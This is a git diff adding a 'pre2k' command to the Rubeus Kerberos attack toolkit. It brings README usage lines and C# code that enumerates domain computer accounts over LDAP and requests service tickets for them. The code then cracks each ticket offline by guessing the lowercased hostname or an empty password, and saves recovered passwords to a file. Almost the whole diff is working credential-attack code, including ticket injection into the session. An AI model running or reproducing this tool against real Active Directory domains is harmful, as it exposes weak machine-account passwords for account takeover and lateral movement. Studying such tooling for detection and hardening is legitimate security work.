diff --git a/README.md b/README.md index cd8b44ce..a52ca80f 100755 --- a/README.md +++ b/README.md @@ -56,6 +56,7 @@ Rubeus is licensed under the BSD 3-Clause license. - [kerberoasting opsec](#kerberoasting-opsec) - [Examples](#examples) - [asreproast](#asreproast) + - [pre2k](#pre2k) - [Miscellaneous](#miscellaneous) - [createnetonly](#createnetonly) - [changepw](#changepw) @@ -262,7 +263,15 @@ Rubeus is licensed under the BSD 3-Clause license. Perform AS-REP "roasting" for any users without preauth using alternate credentials: Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap] + + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for all domain computers: + Rubeus.exe pre2k [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [ldapfilter:LDAP_FILTER] [/ldaps] [/randomspn] [/verbose] [/outfile:pre2k.txt] + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for specific computers: + Rubeus.exe pre2k [/service:host] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/verbose] [/outfile:pre2k.txt] + + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for all domain computers using alternate credentials: + Rubeus.exe pre2k /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [ldapfilter:LDAP_FILTER] [/ldaps] [/randomspn] [/verbose] [/outfile:pre2k.txt] Miscellaneous: @@ -3007,6 +3016,7 @@ Breakdown of the roasting commands: | ----------- | ----------- | | [kerberoast](#kerberoast) | Perform Kerberoasting against all (or specified) users | | [asreproast](#asreproast) | Perform AS-REP roasting against all (or specified) users | +| [pre2k](#pre2k) | Identify Pre2k computers by performing TGS-REP roasting against all (or specified) machine accounts | ### kerberoast @@ -3513,6 +3523,8 @@ AS-REP roasting users in a foreign non-trusting domain using alternate credentia $krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)... +### pre2k + ## Miscellaneous diff --git a/Rubeus/Commands/Pre2k.cs b/Rubeus/Commands/Pre2k.cs new file mode 100644 index 00000000..88c24e28 --- /dev/null +++ b/Rubeus/Commands/Pre2k.cs @@ -0,0 +1,190 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; + +namespace Rubeus.Commands +{ + public class Pre2k : ICommand + { + public static string CommandName => "pre2k"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Identify Pre2K machine accounts\r\n"); + + List computers = new List(); + string outFile = ""; + string domain = ""; + string dc = ""; + string OU = ""; + string service = "HOST"; + string ldapFilter = ""; + KRB_CRED TGT = null; + int resultLimit = 0; + int delay = 0; + int jitter = 0; + bool ldaps = false; + bool enterprise = false; + bool randomspn = false; + bool verbose = false; + System.Net.NetworkCredential cred = null; + + if (arguments.ContainsKey("/computer")) + { + computers.Add(arguments["/computer"]); + } + if (arguments.ContainsKey("/computers")) + { + + if (System.IO.File.Exists(arguments["/computers"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/computers"])); + foreach (string s in fileContent.Split('\n')) + { + if (!String.IsNullOrEmpty(s)) + { + computers.Add(s.Trim()); + } + } + } + else + { + foreach (string s in arguments["/computers"].Split(',')) + { + computers.Add(s); + } + } + } + if (arguments.ContainsKey("/domain")) + { + // roast users from a specific domain + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + // use a specific domain controller for kerberoasting + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/ou")) + { + // roast users from a specific OU + OU = arguments["/ou"]; + } + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + if (arguments.ContainsKey("/outfile")) + { + // save output to a file + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/ticket")) + { + // use an existing TGT ticket when requesting/roasting + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else if (System.IO.File.Exists(kirbi64)) + { + byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + } + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + if (arguments.ContainsKey("/resultlimit")) + { + // limit the number of roastable users + resultLimit = Convert.ToInt32(arguments["/resultlimit"]); + } + if (arguments.ContainsKey("/delay")) + { + delay = Int32.Parse(arguments["/delay"]); + if (delay < 100) + { + Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); + return; + } + } + if (arguments.ContainsKey("/jitter")) + { + try + { + jitter = Int32.Parse(arguments["/jitter"]); + } + catch + { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if (jitter <= 0 || jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100"); + return; + } + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + if (arguments.ContainsKey("/enterprise")) + { + enterprise = true; + } + if (arguments.ContainsKey("/randomspn")) + { + randomspn = true; + } + if (arguments.ContainsKey("/verbose")) + { + verbose = true; + } + if (String.IsNullOrEmpty(domain)) + { + // try to get the current domain + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + if (arguments.ContainsKey("/creduser")) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + // provide an alternate password to use for connection creds + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + + Roast.Pre2kRoast(computers, service, domain, dc, OU, cred, outFile, TGT, ldapFilter, resultLimit, delay, jitter, ldaps, enterprise, randomspn, verbose); + } + } +} diff --git a/Rubeus/Domain/CommandCollection.cs b/Rubeus/Domain/CommandCollection.cs index 94d3cdef..351c2044 100755 --- a/Rubeus/Domain/CommandCollection.cs +++ b/Rubeus/Domain/CommandCollection.cs @@ -47,6 +47,7 @@ public CommandCollection() _availableCommands.Add(Preauthscan.CommandName, () => new Preauthscan()); _availableCommands.Add(ASREP2Kirbi.CommandName, () => new ASREP2Kirbi()); _availableCommands.Add(Kirbi.CommandName, () => new Kirbi()); + _availableCommands.Add(Pre2k.CommandName, () => new Pre2k()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 013b4670..aeac81b5 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -198,6 +198,15 @@ Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] Perform AES AS-REP ""roasting"": Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] /aes [/ldaps] [/nowrap] + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for all domain computers: + Rubeus.exe pre2k [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [ldapfilter:LDAP_FILTER] [/ldaps] [/randomspn] [/verbose] [/outfile:pre2k.txt] + + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for specific computers: + Rubeus.exe pre2k [/service:host] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/verbose] [/outfile:pre2k.txt] + + Identify Pre-2k machine accounts, by performing TGS-REP ""roasing"" for all domain computers using alternate credentials: + Rubeus.exe pre2k /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [ldapfilter:LDAP_FILTER] [/ldaps] [/randomspn] [/verbose] [/outfile:pre2k.txt] + Miscellaneous: diff --git a/Rubeus/Rubeus.csproj b/Rubeus/Rubeus.csproj index 818deadf..d1db43ac 100755 --- a/Rubeus/Rubeus.csproj +++ b/Rubeus/Rubeus.csproj @@ -93,6 +93,7 @@ + diff --git a/Rubeus/lib/Roast.cs b/Rubeus/lib/Roast.cs index 83ae7a48..c17bc8cc 100755 --- a/Rubeus/lib/Roast.cs +++ b/Rubeus/lib/Roast.cs @@ -8,6 +8,12 @@ using System.DirectoryServices.AccountManagement; using System.Collections.Generic; using Rubeus.lib.Interop; +using static Rubeus.Interop; +using System.DirectoryServices.ActiveDirectory; +using System.Xml.Linq; +using Rubeus.Commands; +using System.IdentityModel.Protocols.WSTrust; +using System.Security.Policy; namespace Rubeus { @@ -1031,5 +1037,381 @@ public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, } } } + + public static void Pre2kRoast(List computers = null, string service = "", string domain = "", string dc = "", string OU = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool ldaps = false, bool enterprise = false, bool randomspn= false, bool verbose = false) + { + if (delay != 0) + { + Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); + if (jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); + } + Console.WriteLine(); + } + + + if ((computers != null) && (computers.Count != 0)) + { + foreach (string c in computers) + { + string spn = string.Format("{0}/{1}", service, c); + if (verbose) { + Console.WriteLine("[*] Ask TGS for {0}", spn); + } + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + Pre2kCrack(TGT, c, spn, dc, enterprise, outFile); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + Pre2kCrack(cred, c, spn, domain, outFile); + } + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + else + { + // inject ticket for LDAP search if supplied + if (TGT != null) + { + byte[] kirbiBytes = null; + string ticketDomain = TGT.enc_part.ticket_info[0].prealm; + + if (String.IsNullOrEmpty(domain)) + { + // if a domain isn't specified, use the domain from the referral + domain = ticketDomain; + } + + // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher + if (ticketDomain != domain) + { + if (String.IsNullOrEmpty(dc)) + { + dc = Networking.GetDCName(domain); + } + + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + + // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket + Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); + System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); + dc = dcInfo.HostName; + } + + // request a service tickt for LDAP on the target DC + kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); + } + // otherwise inject the TGT to perform the domain searcher + else + { + kirbiBytes = TGT.Encode().Encode(); + } + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // build LDAP query + string userSearchFilter = "(&(samAccountType=805306369)(serviceprincipalname=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"; + if (!String.IsNullOrEmpty(ldapFilter)) + { + userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); + } + + List> computerObjects = Networking.GetLdapQuery(cred, OU, dc, domain, userSearchFilter, ldaps); + if (computerObjects == null) + { + Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); + return; + } + + try + { + if (computerObjects.Count == 0) + { + Console.WriteLine("\r\n[X] No computers found!"); + } + else + { + Console.WriteLine("\r\n[*] Total computers: {0}\r\n", computerObjects.Count); + } + + foreach (IDictionary comp in computerObjects) + { + string samAccountName = (string)comp["samaccountname"]; + string hostname = samAccountName.Substring(0, samAccountName.Length - 1); + string spn; + if (randomspn) + { + string[] spns = (string[])comp["serviceprincipalname"]; + var random = new Random(); + spn = spns[random.Next(spns.Length)]; + } + else + { + spn = ((string[])comp["serviceprincipalname"])[0]; + } + + if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) + { + spn = String.Format("{0}@{1}", spn, domain); + } + + if (verbose) + { + Console.WriteLine("[*] Ask TGS for {0}", spn); + } + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + Pre2kCrack(TGT, hostname, spn, dc, enterprise, outFile); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + Pre2kCrack(cred, hostname, spn, domain, outFile); + } + Helpers.RandomDelayWithJitter(delay, jitter); + } + + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); + return; + } + } + } + + public static void Pre2kCrack(KRB_CRED TGT, string hostname, string spn, string dc, bool enterprise, string outFile = "") + { + Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial; + + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + string domain = TGT.enc_part.ticket_info[0].prealm.ToLower(); + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + string tgtDomain = TGT.tickets[0].sname.name_string[1]; + + byte[] kirbiBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, "", false, dc, false, enterprise, false, false, null, tgtDomain); + KRB_CRED TGS = new KRB_CRED(kirbiBytes); + + byte[] cipherText = TGS.tickets[0].enc_part.cipher; + int encType = TGS.tickets[0].enc_part.etype; + string password = hostname.ToLower(); + // if account name is over 14 characters, the password should be the first 14 characters only + // due to the old windows hashing algorithms compatibility + if (hostname.Length > 14) + { + password = hostname.ToLower().Substring(0, 14); + } + if (CrackTGS(cipherText, encType, hostname, domain, password)) { + string message = String.Format("[=] Found password of {0} -> {1}", hostname, password); + Console.WriteLine(message); + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, message + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + } + return; + } + if (CrackTGS(cipherText, encType, hostname, domain, "")) + { + string message = String.Format("[=] Found password of { 0} -> empty password", hostname); + Console.WriteLine(message); + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, message + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + } + } + } + + public static void Pre2kCrack(System.Net.NetworkCredential cred, string hostname, string spn, string domain, string outFile = "") + { + try + { + // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the + // GetRequest() stream was constributed to PowerView by @machosec + System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; + if (cred != null) + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); + } + else + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); + } + byte[] requestBytes = ticket.GetRequest(); + + if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) + { + Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); + return; + } + + // ignore the GSSAPI frame + byte[] apReqBytes = new byte[requestBytes.Length - 17]; + Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); + + AsnElt apRep = AsnElt.Decode(apReqBytes); + + if (apRep.TagValue != 14) + { + Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); + } + + long encType = 0; + + foreach (AsnElt elem in apRep.Sub[0].Sub) + { + if (elem.TagValue == 3) + { + foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) + { + if (elem2.TagValue == 3) + { + foreach (AsnElt elem3 in elem2.Sub[0].Sub) + { + if (elem3.TagValue == 0) + { + encType = elem3.Sub[0].GetInteger(); + } + + if (elem3.TagValue == 2) + { + byte[] cipherText = elem3.Sub[0].GetOctetString(); + string password = hostname.ToLower(); + // if account name is over 14 characters, the password should be the first 14 characters only + // due to the old windows hashing algorithms compatibility + if (hostname.Length > 14) + { + password = hostname.ToLower().Substring(0, 14); + } + if (CrackTGS(cipherText, (int)encType, hostname, domain, password)) + { + string message = String.Format("[=] Found password of {0} -> {1}", hostname, password); + Console.WriteLine(message); + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, message + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + } + return; + } + if (CrackTGS(cipherText, (int)encType, hostname, domain, "")) + { + string message = String.Format("[=] Found password of { 0} -> empty password", hostname); + Console.WriteLine(message); + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, message + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + } + } + } + + } + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); + } + } + + public static bool CrackTGS(byte[] cipherText, int encType, string hostname, string domain, string password) + { + string salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), hostname.ToLower(), domain.ToLower()); + string hash; + byte[] key; + Interop.KERB_ETYPE tgsEType; + switch (encType) + { + // aes128 + case 17: + { + tgsEType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + hash = Crypto.KerberosPasswordHash(tgsEType, password, salt); + key = Helpers.StringToByteArray(hash); + break; + } + // aes256 + case 18: + { + tgsEType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + hash = Crypto.KerberosPasswordHash(tgsEType, password, salt); + key = Helpers.StringToByteArray(hash); + break; + } + // rc4 + case 23: + { + tgsEType = Interop.KERB_ETYPE.rc4_hmac; + hash = Crypto.KerberosPasswordHash(tgsEType, password); + key = Helpers.StringToByteArray(hash); + break; + } + default: + { + return false; + } + } + try + { + // decrypt the TGS + byte[] dec = Crypto.KerberosDecrypt(tgsEType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, cipherText); + var encTicket = AsnElt.Decode(dec, false); + + // validate that the decrypted info contains the data + EncTicketPart a = new EncTicketPart(encTicket.Sub[0], null, false); + return true; + } + catch + { + return false; + } + } + } }